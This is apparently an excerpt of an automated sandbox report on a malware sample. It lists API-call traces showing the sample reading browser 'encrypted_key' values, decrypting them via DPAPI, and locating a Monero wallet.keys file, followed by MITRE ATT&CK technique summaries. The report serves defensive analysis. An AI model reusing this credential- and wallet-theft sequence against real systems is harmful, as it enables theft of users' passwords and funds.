Opcode ID: 41c3d39f0a185b4252460d5054c81abbf21ab409e1550c625790e865fec17980
Instruction ID: 25a59d4613d301169a10105923ac51270169a210695b7c34f2f856eab942b233
Opcode Fuzzy Hash: 41c3d39f0a185b4252460d5054c81abbf21ab409e1550c625790e865fec17980
Instruction Fuzzy Hash: 4C51F075E10209EAEB05FBB4DC95EED7378AF64200F408528E556A71D4EF346B0DCBA1

Function 01003560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 15bccbe97bdf2c28297ce7342ef563e16cb5cd542b4dea134f329c1940763a55
Instruction ID: d8fc8202320fe9319d2d36e3cdbdcf2277af6bfcdd49656d22e677c6ab3b1272
Opcode Fuzzy Hash: 15bccbe97bdf2c28297ce7342ef563e16cb5cd542b4dea134f329c1940763a55
Instruction Fuzzy Hash: F5416F71E10209DFEB06EFA4DC45AFEB774BB58304F008018E5966B284DB359645CFA1

Function 00FF9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 00FF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FF99EC
Part of subcall function 00FF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FF9A11
Part of subcall function 00FF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FF9A31
Part of subcall function 00FF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FF148F,00000000), ref: 00FF9A5A
Part of subcall function 00FF99C0: LocalFree.KERNEL32(00FF148F), ref: 00FF9A90
Part of subcall function 00FF99C0: CloseHandle.KERNEL32(000000FF), ref: 00FF9A9A

Part of subcall function 01008E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01008E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00FF9D39

Part of subcall function 00FF9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FF4EEE,00000000,00000000), ref: 00FF9AEF
Part of subcall function 00FF9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00FF4EEE,00000000,?), ref: 00FF9B01
Part of subcall function 00FF9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FF4EEE,00000000,00000000), ref: 00FF9B2A
Part of subcall function 00FF9AC0: LocalFree.KERNEL32(?,?,?,?,00FF4EEE,00000000,?), ref: 00FF9B3F

Part of subcall function 00FF9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00FF9B84
Part of subcall function 00FF9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00FF9BA3
Part of subcall function 00FF9B60: LocalFree.KERNEL32(?), ref: 00FF9BD3

Strings

"encrypted_key":", xrefs: 00FF9D30
, xrefs: 00FF9DC1
DPAPI, xrefs: 00FF9D89

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: b26cfd580e210ecf08022aa605549c5c08097fb14efac1febd1fbeeec997b083
Instruction ID: eb7ce74cc4c52ee99ae32e6251bb6996a64eba5dd5b08f359821925c3a05a1f2
Opcode Fuzzy Hash: b26cfd580e210ecf08022aa605549c5c08097fb14efac1febd1fbeeec997b083
Instruction Fuzzy Hash: 6D315CB6D0020DABCB14EBE4DC85FFEB7B8BF48304F244519EA45A7251E7749A14CBA1

Function 01008680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,010105B7), ref: 010086CA
Process32First.KERNEL32(?,00000128), ref: 010086DE
Process32Next.KERNEL32(?,00000128), ref: 010086F3

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

CloseHandle.KERNEL32(?), ref: 01008761

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: d4371923d3d9b997049f2b3c4f5747b2c7c90b185a2721f3edfcbaa999cb4d60
Instruction ID: c707403f209ea32126a03aa1c6325e5dc32c2796b0eceb1d3119e80b52cfb802
Opcode Fuzzy Hash: d4371923d3d9b997049f2b3c4f5747b2c7c90b185a2721f3edfcbaa999cb4d60
Instruction Fuzzy Hash: B1316B71A01219EBEB26DF95DC84FEEB778FB54700F0081A9E14AA7190DB306B45CFA0

Function 01007980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,01010E00,00000000,?), ref: 010079B0
RtlAllocateHeap.NTDLL(00000000), ref: 010079B7
GetLocalTime.KERNEL32(?,?,?,?,?,01010E00,00000000,?), ref: 010079C4
wsprintfA.USER32 ref: 010079F3

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 524a9fa0dad4b3d5dbbed9a8fd06e651f1b552d8d05754b3d34c2bb556739394
Instruction ID: 33cbd85b187c4efc99cbe320d2d257c099df3f2d28bbefd6f50551f863ecc254
Opcode Fuzzy Hash: 524a9fa0dad4b3d5dbbed9a8fd06e651f1b552d8d05754b3d34c2bb556739394
Instruction Fuzzy Hash: 6B113CB2904518ABCB14DFC9E949BBEB7F8FB4CB11F00421AF645A2284D3395940CBB0

Function 010092E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(01003AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,01003AEE,?), ref: 010092FC
GetFileSizeEx.KERNEL32(000000FF,01003AEE), ref: 01009319
CloseHandle.KERNEL32(000000FF), ref: 01009327

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 5479ff530256312b4ac89c3ae22a9eca054d6414c64a44944d72bbacbca4305c
Instruction ID: b90f0138003739fec08c8520f451bae443db6a391afb8bd3d02de9c21a36cd57
Opcode Fuzzy Hash: 5479ff530256312b4ac89c3ae22a9eca054d6414c64a44944d72bbacbca4305c
Instruction Fuzzy Hash: 21F04F35E44208BBEB25DFB4EC49F9E77F9AB48710F10C2A4B695E72C5D670A6018F40

Function 0100C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0100C74E

Part of subcall function 0100BF9F: __amsg_exit.LIBCMT ref: 0100BFAF

__getptd.LIBCMT ref: 0100C765
__amsg_exit.LIBCMT ref: 0100C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0100C797

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 3ce3f87c301dc425c74bf3b12a79af17f8d607d5fb9b9e7521a3eda173e40b14
Instruction ID: 5e2bb24b8c7d66e4c22470198afd4da08209deb31558cabbb2824b8dcd0a3282
Opcode Fuzzy Hash: 3ce3f87c301dc425c74bf3b12a79af17f8d607d5fb9b9e7521a3eda173e40b14
Instruction Fuzzy Hash: 0CF09A32A44702DBF773BBB89909BAD37E07F20721F20428DE5D8AB1C1CF6859418B56

Function 01004F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01008DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01008E0B

lstrcat.KERNEL32(?,00000000), ref: 01004F7A
lstrcat.KERNEL32(?,01011070), ref: 01004F97
lstrcat.KERNEL32(?,01988AF0), ref: 01004FAB
lstrcat.KERNEL32(?,01011074), ref: 01004FBD

Part of subcall function 01004910: wsprintfA.USER32 ref: 0100492C
Part of subcall function 01004910: FindFirstFileA.KERNEL32(?,?), ref: 01004943

Part of subcall function 01004910: StrCmpCA.SHLWAPI(?,01010FDC), ref: 01004971
Part of subcall function 01004910: StrCmpCA.SHLWAPI(?,01010FE0), ref: 01004987
Part of subcall function 01004910: FindNextFileA.KERNEL32(000000FF,?), ref: 01004B7D
Part of subcall function 01004910: FindClose.KERNEL32(000000FF), ref: 01004B92

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: a22f3ff1f44e3b4b48e27b0e0da6afa08336cc7ccfc59937cf3ab4d69c5f8ca4
Instruction ID: 6ff4aded9385bb160181a78cc0a9a2dd337f909cac1f65b8423bec933edc4124
Opcode Fuzzy Hash: a22f3ff1f44e3b4b48e27b0e0da6afa08336cc7ccfc59937cf3ab4d69c5f8ca4
Instruction Fuzzy Hash: 70217776900208A7D764FB70EC49EE9333CAB54700F404559B6D997188EE7596C88B91

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
